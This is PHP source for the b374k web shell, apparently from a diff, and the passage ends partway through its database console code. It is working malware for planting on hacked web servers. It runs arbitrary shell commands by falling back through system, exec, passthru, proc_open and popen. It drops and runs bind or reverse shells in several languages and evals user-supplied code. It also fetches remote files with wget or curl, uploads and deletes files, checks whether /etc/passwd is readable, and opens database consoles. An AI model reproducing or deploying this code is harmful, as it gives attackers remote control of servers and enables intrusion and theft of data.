pb9k5f9zDBXn+8fxPxyDZc0egzmUU47BrDxwDPZcW4sOH8LbY4dgxMwhbFT5HOmlK56DJR+zUNLELad8gaI4WMDpN8OfDhgpTHwCZ9cRp+adfyPp+in+RnEtBoGZuofYPdFBTJy3XNYEtE67SZt7yKFOvAVGl3WeZ3SVftK+vD3mdPYooCdfLHrKxaIHL9b52e7Vos9eLbg1X3ie80dMFkSWmNuVUZ0/mE3puFclEhxCHp80YyyHeFfBTKtWlQlM6xcgdHUM5TaGTkEhJEx2bFYb46OIeSdWwG1gLdFGVAa01GgrVNDaZ20Un+lAaMN8Nb7dYm4ifB6Gb++B/w9xoSQwSfaHXEcksbhzPOndWoeU/hxSbvjLUtBNhR9AF/6yDdxzpCpi0PO1HI1grtGHNZ7ws1R3wB8jiIesGoDEJpoC8IxJWg2y1Rb+ebeNtBairU755ilrFAp+Uh2WAK7EpBl0WwmgMJmKkn8o1jykPYGpKE8MsiVwZYgFIKPjMjbK3ORz/2p6sx4O+csX+ufVDPqh5896P1y9gFCQS7XO09oz/BT5X2VFEYITsAZUo86ArEgnzwy8sJBQxFQC+kwLKTJwqP3JS5N5ji4nWnxfeWSnDcL+/JJabhsi221j2TzdemGrysC0j1skx6ELXrxPV2tVsAP51uFkv9s9VgTEiFSVKWg7nsP5GRxWrBJZ2m+7en6dhnIep/D2XNRakeXXGdSCWO9dVCY25OsF1YM++HxT9J7g/4tBhE/5cXj9FH0CiMPg1fR3QKujqOpZwOIhxjtVB0CyERzSmpdjVGV4LeOjDmMq+5A9yPw1LHJJrQVq57U8rkZjvhpXyxHu3yeIjMbmZzSuizXH8UrfrWN6022DXsvl0WfrheCu8LIbO4Lj2oFivk7UuLyv8LrYKN+61Kl8OLWatEun9ne/GLRVU3u+P6LDCVQKQb9P2kVeideo0ezQ1kt3HkLOzSPwLsm4crl+usqdTz9DleT3Z2bjcMUgSn90OcdyFuSGhAZBUzo4QToIUBrkhhXXnPeDYOslO5aVswjaulqMBXtjV8Px/sLJgXXnZ/3ReLT1oh1tuoLUEPtPKX00VeHLGV2a1uWMhmWlSCFLXNafQZbMGTq9JcHhsB4O9TCkDqEascfeshdSrTL4S1ReWpWWU7SBwSiwBs0Jtgwry+9jJaxMXP5VrHyvSij1v4OXfIeXRqbgYS5feqQXsQWNaL0gYrfenEEKNpG015uT4SQAJ5vPPPjTg0CMSQwrB2bMjNpJFiEcpE39Pr7uFxEJIO2904/BHHKc+Y+C9vuA+WON2T+I2R+VkyUmPIaQFtEqod5N3BrfNPdzuje//mIj3YeMh9JWa+aQdKIH1g5+l8E/YzWIIcoUyk35fRxxleX+upD5TxHIEoIE3bFCquoba+PjxSDR2E8iW67wCRsYoMosoCJ8/E1BztL6kgk+vvVGQ/zi9wCpOlR3WYpIjXRE6jQzZSNaquus8MU2TzTkxPhJmLkmkc4eYMtvrNKnJz0WtrrEFjq/a3VPT0Yt8SWSBjXfKtetNyZssK8wVKhs9a88W3GgBNSznNivOho+mEJohng786Q+a9mJ044gem7BxBQmTBuMZozd4nvKbuvQta229RV4tJU9Tumwym7r+bycFzyFRPV6HeAX88X2J10igO63XCyAjVafNV3BE/VdlxDe5KR0Biox3uov6q6A24fb8fArM5zMO4sA3GQqw73+OTiSwEkjxalSQlPwlEigqNs9oJf+pvI4jY4qau0R8oJilcRQWjY/rUsvIpsKGnp6P9v6GiXmdYDrb6+TYL8Gt1Io9AgOOygUEg02lwwQwcqmKY9wYWnFQYFNNe0G3n0Wh50qkm6dQu+xkS1fCWb2PXbS9TKQeTOTrp5KwfTuyVbUBHgVOrwT/wU="; + +// make link for folder $cwd and all of its parent folder +function swd($p){ + $ps = explode(DIRECTORY_SEPARATOR,$p); + $pu = ""; + for($i = 0 ; $i < sizeof($ps)-1 ; $i++){ + $pz = ""; + for($j = 0 ; $j <= $i ; $j++) $pz .= $ps[$j].DIRECTORY_SEPARATOR; + $pu .= "".$ps[$i]." ".DIRECTORY_SEPARATOR." "; + } + return trim($pu); +} +// remove
tags +function rp($t){ + return trim(str_replace("
","",$t)); +} +// replace spaces with underscore ( _ ) +function cs($t){ + return str_replace(" ","_",$t); +} +// strip slashes,trim and urldecode +function ss($t){ + return (!get_magic_quotes_gpc())? trim(urldecode($t)) : trim(urldecode(stripslashes($t))); +} +// only strip slashes +function ssc($t){ + return (!get_magic_quotes_gpc())? $t : stripslashes($t); +} +// bind and reverse shell +function rs($rstype,$rstarget,$rscode){ + //bind_pl bind_py bind_rb bind_c bind_win bind_php back_pl back_py back_rb back_c back_win back_php + //resources $rs_pl $rs_py $rs_rb $rs_c $rs_win $rs_php + $result = ""; + $fc = gzinflate(base64_decode($rscode)); + + $errperm = "Directory ".getcwd().DIRECTORY_SEPARATOR." is not writable, please change to a writable one"; + $errgcc = "Unable to compile using gcc"; + + $split = explode("_",$rstype); + $method = $split[0]; + $lang = $split[1]; + if($lang=="py" || $lang=="pl" || $lang=="rb"){ + if($lang=="py") $runlang = "python"; + elseif($lang=="pl") $runlang = "perl"; + elseif($lang=="rb") $runlang = "ruby"; + $fpath = "b374k_rs.".$lang; + if(is_file($fpath)) unlink($fpath); + if($file=fopen($fpath,"w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath)){ + $result = exe("chmod +x ".$fpath); + $result = exe($runlang." ".$fpath." ".$rstarget); + } + else $result = $errperm; + } + else $result = $errperm; + } + elseif($lang=="c"){ + $fpath = "b374k_rs"; + if(is_file($fpath)) unlink($fpath); + if(is_file($fpath.".c")) unlink($fpath.".c"); + if($file=fopen($fpath.".c","w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath.".c")){ + $result = exe("gcc ".$fpath.".c -o ".$fpath); + if(is_file($fpath)){ + $result = exe("chmod +x ".$fpath); + $result = exe("./".$fpath." ".$rstarget); + } + else $result = $errgcc; + } + else $result = $errperm; + } + else $result = $errperm; + } + elseif($lang=="win"){ + $fpath = "b374k_rs.exe"; + if(is_file($fpath)) unlink($fpath); + if($file=fopen($fpath,"w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath)){ + $result = exe($fpath." ".$rstarget); + } + else $result = $errperm; + } + else $result = $errperm; + } + elseif($lang=="php"){ + eval("?>".$fc); + } + if(is_file($fpath)) unlink($fpath); + if(is_file($fpath.".c")) unlink($fpath.".c"); + return $result; +} +// get file size +function gs($f){ + $s = filesize($f); + if($s !== false){ + if($s<=0) return 0; + $w = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); + $e = floor(log($s)/log(1024)); + return sprintf('%.2f '.$w[$e], ($s/pow(1024, floor($e)))); + } + else return "???"; +} +// get file permissions +function gp($f){ + if($m=fileperms($f)){ + $p=''; + $p .= ($m & 00400) ? 'r' : '-'; + $p .= ($m & 00200) ? 'w' : '-'; + $p .= ($m & 00100) ? 'x' : '-'; + $p .= ($m & 00040) ? 'r' : '-'; + $p .= ($m & 00020) ? 'w' : '-'; + $p .= ($m & 00010) ? 'x' : '-'; + $p .= ($m & 00004) ? 'r' : '-'; + $p .= ($m & 00002) ? 'w' : '-'; + $p .= ($m & 00001) ? 'x' : '-'; + return $p; + } + else return "??????????"; +} +// shell command +function exe($c){ + $out = ""; + $c = $c." 2>&1"; + + if(is_callable('system')) { + ob_start(); + system($c); + $out = ob_get_contents(); + ob_end_clean(); + if(!empty($out)) return $out; + } + if(is_callable('shell_exec')){ + $out = shell_exec($c); + if(!empty($out)) return $out; + } + if(is_callable('exec')) { + exec($c,$r); + foreach($r as $s){ + $out .= $s; + } + if(!empty($out)) return $out; + } + if(is_callable('passthru')) { + ob_start(); + passthru($c); + $out = ob_get_contents(); + ob_end_clean(); + if(!empty($out)) return $out; + } + if(is_callable('proc_open')) { + $descriptorspec = array( + 0 => array("pipe", "r"), + 1 => array("pipe", "w"), + 2 => array("pipe", "w") + ); + $proc = proc_open($c, $descriptorspec, $pipes, getcwd(), array()); + if (is_resource($proc)) { + while ($si = fgets($pipes[1])) { + if(!empty($si)) $out .= $si; + } + while ($se = fgets($pipes[2])) { + if(!empty($se)) $out .= $se; + } + } + proc_close($proc); + if(!empty($out)) return $out; + } + if(is_callable('popen')){ + $f = popen($c, 'r'); + if($f){ + while(!feof($f)){ + $out .= fread($f, 2096); + } + pclose($f); + } + if(!empty($out)) return $out; + } + return ""; +} +// add slash to the end of given path +function cp($p){ + if(is_dir($p)){ + $x = DIRECTORY_SEPARATOR; + while(substr($p,-1) == $x) $p = rtrim($p,$x); + return $p.$x; + } + return $p; +} +// delete dir and all of its content (no warning !) xp +function rmdirs($d) { + $f = glob($d . '*', GLOB_MARK); + foreach($f as $z){ + if(is_dir($z)) rmdirs($z); + else unlink($z); + } + if(is_dir($d)) rmdir($d); +} +function xwhich($pr){ + $p = exe("which $pr"); + if(trim($p)!="") { return trim($p); } else { return trim($pr); } +} +// download file from internet +function dlfile($u,$p){ + $n = basename($u); + + // try using php functions + if($t = file_get_contents($u)){ + if(is_file($p)) unlink($p);; + if($f=fopen($p,"w")){ + fwrite($f,$t); + fclose($f); + if(is_file($p)) return true; + } + } + // using wget + exe(xwhich('wget')." ".$u." -O ".$p); + if(is_file($p)) return true; + + // try using lwp-download + exe(xwhich('lwp-download')." ".$u." ".$p); + if(is_file($p)) return true; + + // try using lynx + exe(xwhich('lynx')." -source ".$u." > ".$p); + if(is_file($p)) return true; + + // try using curl + exe(xwhich('curl')." ".$u." -o ".$p); + if(is_file($p)) return true; + + return false; +} +// find writable dir +function get_writabledir(){ + if(is_writable(".")) $d = ".".DIRECTORY_SEPARATOR; + else{ + if(!$d = getenv("TMP")) if(!$d = getenv("TEMP")) if(!$d = getenv("TMPDIR")){ + if(is_writable("/tmp")) $d = "/tmp/"; + else $d = getcwd().DIRECTORY_SEPARATOR; + } + } + return $d; +} +// zip function +function zip($src, $dest){ + if(!extension_loaded('zip') || !file_exists($src)) return false; + + if(class_exists("ZipArchive")){ + $zip = new ZipArchive(); + if(!$zip->open($dest, 1)) return false; + + $src = str_replace('\\', '/', $src); + if(is_dir($src)){ + $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($src), 1); + foreach($files as $file){ + $file = str_replace('\\', '/', $file); + if(in_array(substr($file, strrpos($file, '/')+1), array('.', '..'))) continue; + if (is_dir($file) === true) $zip->addEmptyDir(str_replace($src . '/', '', $file . '/')); + else if (is_file($file) === true) $zip->addFromString(str_replace($src . '/', '', $file), file_get_contents($file)); + } + } + elseif(is_file($src) === true) $zip->addFromString(basename($src), file_get_contents($src)); + $zip->close(); + return true; + } +} +// check shell permission to access program +function check_access($lang){ + switch($lang){ + case "python": + $cek = strtolower(exe("python -h")); + if(strpos($cek,"usage")!==false) return true; + break; + case "perl": + $cek = strtolower(exe("perl -h")); + if(strpos($cek,"usage")!==false) return true; + break; + case "ruby": + $cek = strtolower(exe("ruby -h")); + if(strpos($cek,"usage")!==false) return true; + break; + case "gcc": + $cek = strtolower(exe("gcc --help")); + if(strpos($cek,"usage")!==false) return true; + break; + case "tar": + $cek = strtolower(exe("tar --help")); + if(strpos($cek,"usage")!==false) return true; + break; + case "java": + $cek = strtolower(exe("javac --help")); + if(strpos($cek,"usage")!==false){ + $cek = strtolower(exe("java -h")); + if(strpos($cek,"usage")!==false) return true; + } + break; + } + return false; +} +// find available archiver +function get_archiver_available(){ + $dlfile = ""; + $avail_arc = array("raw"=>"raw"); + + if(class_exists("ZipArchive")){ + $avail_arc["ziparchive"] = "zip"; + } + if(check_access("tar")){ + $avail_arc["tar"] = "tar"; + $avail_arc["targz"] = "tar.gz"; + } + + $option_arc = ""; + foreach($avail_arc as $t=>$u){ + $option_arc .= ""; + } + + $dlfile .= "
+ + + +
+ "; + return $dlfile; +} +// explorer, return a table of given dir +function showdir($cwd){ + $posix = (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))? true : false; + $win = (strtolower(substr(php_uname(),0,3)) == "win")? true : false; + + $fname = array(); + $dname = array(); + + if(function_exists("scandir") && $dh = @scandir($cwd)){ + foreach($dh as $file){ + if(is_dir($file)) $dname[] = $file; + elseif(is_file($file)) $fname[] = $file; + } + } + else{ + if($dh = @opendir($cwd)){ + while($file = readdir($dh)){ + if(is_dir($file)) $dname[] = $file; + elseif(is_file($file))$fname[] = $file; + } + closedir($dh); + } + } + + sort($fname); + sort($dname); + + $path = explode(DIRECTORY_SEPARATOR,$cwd); + $tree = sizeof($path); + $parent = ""; + $owner_html = (!$win && $posix) ? "owner : group" : ""; + $buff = " + + ".$owner_html." + "; + if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR; + else $parent = $cwd; + + $dlfile = get_archiver_available(); + + foreach($dname as $folder){ + if(!$win && $posix){ + $name = posix_getpwuid(fileowner($folder)); + $group = posix_getgrgid(filegroup($folder)); + $owner = $name['name']." : ".$group['name']; + $owner_html = ""; + } + $dlfile_ = str_replace("", "", $dlfile); + $dlfile_ = str_replace("__dlpath__",$folder,$dlfile_); + $dlfile_ = str_replace("__dlcwd__",$cwd,$dlfile_); + if($folder == ".") { + $buff .= "".$owner_html." + "; + } + elseif($folder == "..") { + $buff .= "".$owner_html.""; + } + else { + $buff .= "".$owner_html.""; + } + } + + foreach($fname as $file){ + $full = $cwd.$file; + if(!$win && $posix){ + $name = posix_getpwuid(fileowner($full)); + $group = posix_getgrgid(filegroup($full)); + $owner = $name['name']." : ".$group['name']; + $owner_html = ""; + } + $dlfile_ = str_replace("__dlpath__",$file,$dlfile); + $dlfile_ = str_replace("__dlcwd__",$cwd,$dlfile_); + $buff .= "".$owner_html." + "; + } + $buff .= "
namesizepermsmodifiedactiondownload
".$owner."
[ $folder ]LINK".gp($cwd)."".date("d-M-Y H:i",filemtime($cwd))."upload | newfile | newfolder +
+ + + +
".$dlfile_."
[ $folder ]LINK".gp($parent)."".date("d-M-Y H:i",filemtime($parent))."upload | newfile | newfolder +
+ + + +
+
".$dlfile_."
[ $folder ] +
+ + + + + +
+
DIR".gp($cwd.$folder)."".date("d-M-Y H:i",filemtime($folder))."upload | rename | delete".$dlfile_."
".$owner."
$file +
+ + + + + +
+
".gs($full)."".gp($full)."".date("d-M-Y H:i",filemtime($full))."edit | rename | delete".$dlfile_."
"; + return $buff; +} + +// favicon +if(isset($_REQUEST['favicon'])){ + $data = gzinflate(base64_decode($favicon)); + header("Content-type: image/png"); + header("Cache-control: public"); + echo $data; + exit; +} +if(isset($_REQUEST['font'])){ + $data = gzinflate(base64_decode($font)); + header("Content-type: application/font-woff"); + header("Cache-control: public"); + echo $data; + exit; +} + +if($s_auth){ + // server software + $s_software = getenv("SERVER_SOFTWARE"); + // uname -a + $s_system = php_uname(); + // check os + $s_win = (strtolower(substr($s_system,0,3)) == "win")? true : false; + // change working directory + if(isset($_REQUEST['d'])){ + $dd = ss($_REQUEST['d']); + if(is_dir($dd)){ + chdir($dd); + $cwd = cp($dd); + } + } + else $cwd = cp(getcwd()); + // get path and all drives available + $letters = ''; + if(!$s_win){ + if(!$s_user = rp(exe("whoami"))) $s_user = ""; + if(!$s_id = rp(exe("id"))) $s_id = ""; + } + else { + $s_user = get_current_user(); + $s_id = $s_user; + // find drive letters + $v = explode("\\",$cwd); + $v = $v[0]; + foreach (range("A","Z") as $letter){ + $bool = (is_dir($letter.":\\") && is_readable($letter.":\\")); + if ($bool){ + $letters .= "[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "".$letter."";} + $letters .= " ] "; + } + } + } + // prompt style.. + $s_prompt = $s_user." >"; + + // check for posix + $s_posix = (function_exists("posix_getpwuid") && function_exists("posix_getgrgid"))? true : false; + + // server ip + $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]); + // your ip ;-) + $s_my_ip = $_SERVER['REMOTE_ADDR']; + + + // sorttable.js + if(isset($_REQUEST['sorttable'])){ + $data = gzinflate(base64_decode($sortable_js)); + header("Content-type: text/javascript"); + header("Cache-control: public"); + echo $data; + exit; + } + if(!empty($_REQUEST['dltype']) && !empty($_REQUEST['dlpath'])){ + $dltype = urldecode(ss($_REQUEST['dltype'])); + $dlpath = urldecode(ss($_REQUEST['dlpath'])); + + $dlname = basename($dlpath); + if($dlpath==".") $dlname=basename($cwd); + elseif($dlpath==".."){ + chdir(".."); + $dlname=basename(getcwd()); + chdir($cwd); + } + $tmpdir = get_writabledir(); + $dlarchive = $tmpdir.$dlname; + $dlthis = ""; + if($dltype=="ziparchive"){ + $dlarchive .= ".zip"; + if(zip($dlpath,$dlarchive)){ + $dlthis = $dlarchive; + } + } + elseif($dltype=="tar"){ + $dlarchive .= ".tar"; + $dlarchive = str_replace('\\', '/', $dlarchive); + exe("tar cf ".$dlarchive." ".$dlpath); + $dlthis = $dlarchive; + } + elseif($dltype=="targz"){ + $dlarchive .= ".tar.gz"; + $dlarchive = str_replace('\\', '/', $dlarchive); + exe("tar czf ".$dlarchive." ".$dlpath); + $dlthis = $dlarchive; + } + elseif($dltype=="raw"){ + if(is_file($dlpath)) $dlthis = $dlpath; + } + + + if(is_file($dlthis)){ + header("Content-Type: application/octet-stream"); + header('Content-Transfer-Encoding: binary'); + header("Content-length: ".filesize($dlthis)); + header("Content-disposition: attachment; filename=\"".basename($dlthis)."\";"); + $file = @fopen($dlthis,"rb"); + while(!feof($file)){ + print(@fread($file, 1024*8)); + ob_flush(); + flush(); + } + fclose($file); + + if($dltype!="raw"){ + rename($dlthis,$dlthis."del"); + unlink($dlthis."del"); + } + exit; + } + } + // view image specified by ?img= + if(isset($_REQUEST['img'])){ + ob_clean(); + $d = ss($_REQUEST['d']); + $f = ss($_REQUEST['img']); + $inf = getimagesize($d.$f); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + readfile($d.$f); + exit; + } + // rename file or folder + if(isset($_REQUEST['rename']) && isset($_REQUEST['oldname']) && isset($_REQUEST['newname'])){ + $old = ss($_REQUEST['oldname']); + $new = ss($_REQUEST['newname']); + if(rename($cwd.$old,$cwd.$new)) $dirmsg = "File ".$old." renamed to ".$new; + else $dirmsg = "Unable to rename file ".$old." to ".$new; + $fnew = $cwd.$new; + } + // delete file + if(!empty($_REQUEST['delete'])){ + $f = ss($_REQUEST['delete']); + if(is_file($f)){ + if(unlink($f)) $dirmsg = "File removed : ".$f; + else $dirmsg = "Unable to remove file ".$f; + } + else $dirmsg = "Unable to remove file ".$f; + } // delete dir + elseif(!empty($_REQUEST['rmdir'])){ + $f = ss(rtrim(ss($_REQUEST['rmdir'],DIRECTORY_SEPARATOR))); + if(is_dir($f)){ + rmdirs($f); + if(is_dir($f)) $dirmsg = "Unable to remove directory ".$f; + else $dirmsg = "Directory removed : ".$f; + } + else $dirmsg = "Unable to remove directory ".$f; + } // create dir + elseif(!empty($_REQUEST['mkdir'])){ + $f = ss($cwd.ss($_REQUEST['mkdir'])); + if(!is_dir($f)){ + mkdir($f); + if(is_dir($f)) $dirmsg = "Directory created ".$f; + else $dirmsg = "Unable to create directory ".$f; + } + else $dirmsg = "Directory already exists ".$f; + } + // box result + $s_result = ""; + // php eval() function + if(isset($_REQUEST['eval'])){ + $code = ""; + $lang = "php"; + // access to compiler/interpreter + + $s_python = check_access("python"); + $s_perl = check_access("perl"); + $s_ruby = check_access("ruby"); + $s_gcc = check_access("gcc"); + $s_java = check_access("java"); + + if(isset($_REQUEST['evalcode'])){ + $code = ss($_REQUEST['evalcode']); + $tmpdir = get_writabledir(); + if(isset($_REQUEST['lang'])){ + $lang = $_REQUEST['lang']; + } + + if(strtolower($lang)=='php'){ + ob_start(); + eval($code); + $res = ob_get_contents(); + ob_end_clean(); + $code = $res; + } + elseif(strtolower($lang)=='python'||strtolower($lang)=='perl'||strtolower($lang)=='ruby'){ + $rand = md5(time().rand(0,100)); + $script = $tmpdir.$rand; + file_put_contents($script, $code); + if(is_file($script)){ + $res = exe($lang." ".$script); + unlink($script); + } + $code = $res; + } + elseif(strtolower($lang)=='gcc'){ + $script = md5(time().rand(0,100)); + chdir($tmpdir); + file_put_contents($script.".c", $code); + if(is_file($script.".c")){ + $scriptout = $s_win ? $script.".exe" : $script; + $res = exe("gcc ".$script.".c -o ".$scriptout); + if(is_file($scriptout)){ + $res = $s_win ? exe($scriptout) : exe("chmod +x ".$scriptout." ; ./".$scriptout); + rename($scriptout, $scriptout."del"); + unlink($scriptout."del"); + } + unlink($script.".c"); + } + $code = $res; + chdir($cwd); + } + elseif(strtolower($lang)=='java'){ + if(preg_match("/class\ ([^{]+){/i",$code, $r)){ + $classname = trim($r[1]); + $script = $classname; + } + else{ + $rand = "b374k_".substr(md5(time().rand(0,100)),0,8); + $script = $rand; + $code = "class ".$rand." { ".$code . " } "; + } + chdir($tmpdir); + file_put_contents($script.".java", $code); + if(is_file($script.".java")){ + $res = exe("javac ".$script.".java"); + if(is_file($script.".class")){ + $res .= exe("java ".$script); + unlink($script.".class"); + } + unlink($script.".java"); + } + chdir($pwd); + $code = $res; + } + } + + $lang_available = ""; + $lang_available .= ""; + $selected = ""; + if($s_python){ + $checked = ($lang == "python") ? "selected" : ""; + $lang_available .= ""; + } + if($s_perl){ + $checked = ($lang == "perl") ? "selected" : ""; + $lang_available .= ""; + } + if($s_ruby){ + $checked = ($lang == "ruby") ? "selected" : ""; + $lang_available .= ""; + } + if($s_gcc){ + $checked = ($lang == "gcc") ? "selected" : ""; + $lang_available .= ""; + } + if($s_java){ + $checked = ($lang == "java") ? "selected" : ""; + $lang_available .= ""; + } + + $s_result .= "
+ + +
+
+ + +
+ "; + } // upload ! + elseif(isset($_REQUEST['upload'])){ + $s_result = " "; + $msg = ""; + if(isset($_REQUEST['uploadhd'])){ + $fn = $_FILES['filepath']['name']; + if(is_uploaded_file($_FILES['filepath']['tmp_name'])){ + $p = cp(ss($_REQUEST['savefolder'])); + if(!is_dir($p)) $p = cp(dirname($p)); + if(isset($_REQUEST['savefilename']) && (trim($_REQUEST['savefilename'])!="")) $fn = ss($_REQUEST['savefilename']); + $tm = $_FILES['filepath']['tmp_name']; + $pi = cp($p).$fn; + $st = move_uploaded_file($tm,$pi); + if($st) $msg = "

file uploaded to ".$pi."

"; + else $msg = "

failed to upload ".$fn."

"; + } + else $msg = "

failed to upload ".$fn."

"; + } + elseif(isset($_REQUEST['uploadurl'])){ + // function dlfile($url,$fpath){ + $p = cp(ss($_REQUEST['savefolderurl'])); + if(!is_dir($p)) $p = cp(dirname($p)); + $fu = ss($_REQUEST['fileurl']); + $fn = basename($fu); + if(isset($_REQUEST['savefilenameurl']) && (trim($_REQUEST['savefilenameurl'])!="")) $fn = ss($_REQUEST['savefilenameurl']); + $fp = cp($p).$fn; + $st = dlfile($fu,$fp); + if($st) $msg = "

file uploaded to ".$fp."

"; + else $msg = "

failed to upload ".$fn."

"; + } + + $s_result .= $msg; + $s_result .= " +
+

Upload from computer

+ + + + + + +
File +
Save to
Filename (optional)
  + +
+
+
+
+

Upload from internet

+ + + + + + +
File URL +
Save to
Filename (optional)
  + +
+
+
+ "; + } // show server information + elseif(isset($_REQUEST['info'])){ + // access to compiler/interpreter + $s_python = check_access("python"); + $s_perl = check_access("perl"); + $s_ruby = check_access("ruby"); + $s_gcc = check_access("gcc"); + $s_java = check_access("java"); + + $s_result = ""; + // server misc info + $s_result .= "

Server Info

"; + $s_result .= "
"; + + $s_result .= ""; + if($s_python) $s_result .= ""; + if($s_perl) $s_result .= ""; + if($s_ruby) $s_result .= ""; + if($s_gcc){ + $gcc_version = exe("gcc --version"); + $gcc_ver = explode("\n",$gcc_version); + if(count($gcc_ver)>0) $gcc_ver = $gcc_ver[0]; + $s_result .= ""; + } + if($s_java) $s_result .= ""; + if(is_file("/etc/passwd") && is_readable("/etc/passwd")) $s_result .= ""; + if(is_file("/etc/issue") && is_readable("/etc/issue")) $s_result .= ""; + if(is_file("/etc/ssh/sshd_config") && is_readable("/etc/ssh/sshd_config")) $s_result .= ""; + + $s_result .= "
php".phpversion()."
python".exe("python -V")."
perl".exe("perl -e \"print \$]\"")."
ruby".exe("ruby -v")."
gcc".$gcc_ver."
java".str_replace("\n", ", ", exe("java -version"))."
/etc/passwd/etc/passwd is readable
/etc/issue/etc/issue is readable
/etc/ssh/sshd_config/etc/ssh/sshd_config is readable
"; + + if(!$s_win){ + // cpu info + if($i_buff=trim(file_get_contents("/proc/cpuinfo"))){ + $s_result .= "

CPU Info

"; + $s_result .= "
"; + $i_buffs = explode("\n\n", $i_buff); + foreach($i_buffs as $i_buffss){ + $i_buffss = trim($i_buffss); + if($i_buffss!=""){ + $i_buffsss = explode("\n",$i_buffss); + $s_result .= ""; + foreach($i_buffsss as $i){ + $i = trim($i); + if($i!=""){ + $ii = explode(":",$i); + if(count($ii)==2) $s_result .= ""; + } + } + $s_result .= "
".$ii[0]."".$ii[1]."
"; + } + } + $s_result .= "
"; + } + // mem info + if($i_buff=trim(file_get_contents("/proc/meminfo"))){ + $s_result .= "

Memory Info

"; + $i_buffs = explode("\n",$i_buff); + $s_result .= "
"; + foreach($i_buffs as $i){ + $i = trim($i); + if($i!=""){ + $ii = explode(":",$i); + if(count($ii)==2) $s_result .= ""; + } + else $s_result .= "
".$ii[0]."".$ii[1]."
"; + } + $s_result .= "
"; + } + // partition + if($i_buff=trim(file_get_contents("/proc/partitions"))){ + $i_buff = preg_replace("/\ +/"," ",$i_buff); + $s_result .= "

Partitions Info

"; + $s_result .= "
"; + $i_buffs = explode("\n\n", $i_buff); + $s_result .= ""; + $i_head = explode(" ",$i_buffs[0]); + foreach($i_head as $h) $s_result .= ""; + $s_result .= ""; + $i_buffss = explode("\n", $i_buffs[1]); + foreach($i_buffss as $i_b){ + $i_row = explode(" ",trim($i_b)); + $s_result .= ""; + foreach($i_row as $r) $s_result .= ""; + $s_result .= ""; + } + $s_result .= "
".$h."
".$r."
"; + $s_result .= "
"; + } + } + $phpinfo = array( + "PHP General" => INFO_GENERAL, + "PHP Configuration" => INFO_CONFIGURATION, + "PHP Modules" => INFO_MODULES, + "PHP Environment" => INFO_ENVIRONMENT, + "PHP Variables" => INFO_VARIABLES + ); + foreach($phpinfo as $p=>$i){ + $s_result .= "

".$p."

"; + ob_start(); + eval("phpinfo(".$i.");"); + $b = ob_get_contents(); + ob_end_clean(); + $a = strpos($b,"")+6; + $z = strpos($b,""); + $body = substr($b,$a,$z-$a); + $body = str_replace(",",", ",$body); + $body = str_replace(";","; ",$body); + $s_result .= "
".$body."
"; + } + } // working with database + elseif(isset($_REQUEST['db'])){ + // sqltype : mysql, mssql, oracle, pgsql, odbc, pdo + $sqlhost = isset($_REQUEST['sqlhost'])? ss($_REQUEST['sqlhost']) : "localhost"; + $sqlport = isset($_REQUEST['sqlport'])? ss($_REQUEST['sqlport']) : ""; + $sqluser = isset($_REQUEST['sqluser'])? ss($_REQUEST['sqluser']) : ""; + $sqlpass = isset($_REQUEST['sqlpass'])? ss($_REQUEST['sqlpass']) : ""; + $odbcdsn = isset($_REQUEST['odbcdsn'])? ss($_REQUEST['odbcdsn']) : ""; + $odbcuser = isset($_REQUEST['odbcuser'])? ss($_REQUEST['odbcuser']) : ""; + $odbcpass = isset($_REQUEST['odbcpass'])? ss($_REQUEST['odbcpass']) : ""; + $pdodsn = isset($_REQUEST['pdodsn'])? ss($_REQUEST['pdodsn']) : ""; + $pdouser = isset($_REQUEST['pdouser'])? ss($_REQUEST['pdouser']) : ""; + $pdopass = isset($_REQUEST['pdopass'])? ss($_REQUEST['pdopass']) : ""; + $sqlite_file = isset($_REQUEST['sqlite_file'])? ss($_REQUEST['sqlite_file']) : ""; + + $sqls = ""; + $q_result = ""; + $hostandport = $sqlhost; + if(trim($sqlport)!="") $hostandport = $sqlhost.":".$sqlport; + + $sqlform_tpl = "
+ + + + + + +

+   Separate multiple commands with a semicolon [ ; ]

+
"; + + if(isset($_REQUEST['mysql']) && ($con = mysql_connect($hostandport,$sqluser,$sqlpass))){ + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + $hasil = mysql_query($query); + if($hasil){ + $q_result .= "

".$query.";    + [ ok ]

+ "; + for($i=0;$i"; + $q_result .= ""; + while($rows=mysql_fetch_array($hasil)){ + $q_result .= ""; + for($j=0;$j"; + } + $q_result .= ""; + } + $q_result .= "
"; + } + else $q_result .= "

".$query.";    + [ error ]

"; + } + } + } + else $sqls = "SHOW databases;"; + + $s_result .= str_replace("__sqltype__","mysql",str_replace("__sqlcode__", $sqls, $sqlform_tpl)); + $s_result .= "
".$q_result."
"; + if($con) mysql_close($con); + } + elseif(isset($_REQUEST['mssql']) && ($con = mssql_connect($hostandport,$sqluser,$sqlpass))){ + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + $hasil = mssql_query($query); + if($hasil){ + $q_result .= "

".$query.";    + [ ok ]

+ "; + for($i=0;$i"; + $q_result .= ""; + while($rows=mssql_fetch_array($hasil)){ + $q_result .= ""; + for($j=0;$j"; + } + $q_result .= ""; + } + $q_result .= "
"; + } + else $q_result .= "

".$query.";    + [ error ]

"; + } + } + } + else $sqls = "SELECT name FROM master..sysdatabases;"; + + $s_result .= str_replace("__sqltype__","mssql",str_replace("__sqlcode__", $sqls, $sqlform_tpl)); + $s_result .= "
".$q_result."
